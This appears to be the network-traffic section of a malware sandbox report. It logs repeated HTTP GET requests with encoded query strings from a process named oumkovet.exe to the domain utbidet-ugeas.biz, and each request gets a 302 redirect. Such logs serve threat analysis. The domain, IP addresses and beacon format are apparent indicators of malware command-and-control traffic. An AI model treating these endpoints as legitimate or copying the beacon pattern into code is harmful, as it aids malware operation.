Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:44.001760960 CEST	169	OUT	GET /d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:44.490937948 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:44 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49712	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:44.503792048 CEST	201	OUT	GET /d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:44.997373104 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:44 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:45.156025887 CEST	169	OUT	GET /d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:45.640773058 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:45 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49715	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:45.646496058 CEST	201	OUT	GET /d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:46.128581047 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49717	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:46.308463097 CEST	169	OUT	GET /d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:46.786887884 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:46 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49718	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:46.792670965 CEST	201	OUT	GET /d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:47.303736925 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:47 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49720	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:48.564992905 CEST	169	OUT	GET /d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:49.052879095 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:48 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49721	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:49.063437939 CEST	201	OUT	GET /d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:49.571331024 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:49 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49723	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:49.715544939 CEST	169	OUT	GET /d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:50.205549002 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:50 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49724	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:50.211473942 CEST	201	OUT	GET /d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:50.701316118 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:50 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49726	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:51.038419008 CEST	169	OUT	GET /d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:51.523803949 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:51 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49727	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:51.529683113 CEST	201	OUT	GET /d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:52.012953997 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:51 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49730	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:54.426120043 CEST	169	OUT	GET /d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:54.908848047 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:54 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49731	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:54.920306921 CEST	201	OUT	GET /d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:55.404555082 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:55 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49739	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:57.761532068 CEST	169	OUT	GET /d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:58.237953901 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:58 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49740	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:58.262196064 CEST	201	OUT	GET /d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:58.752197027 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:58 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49742	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
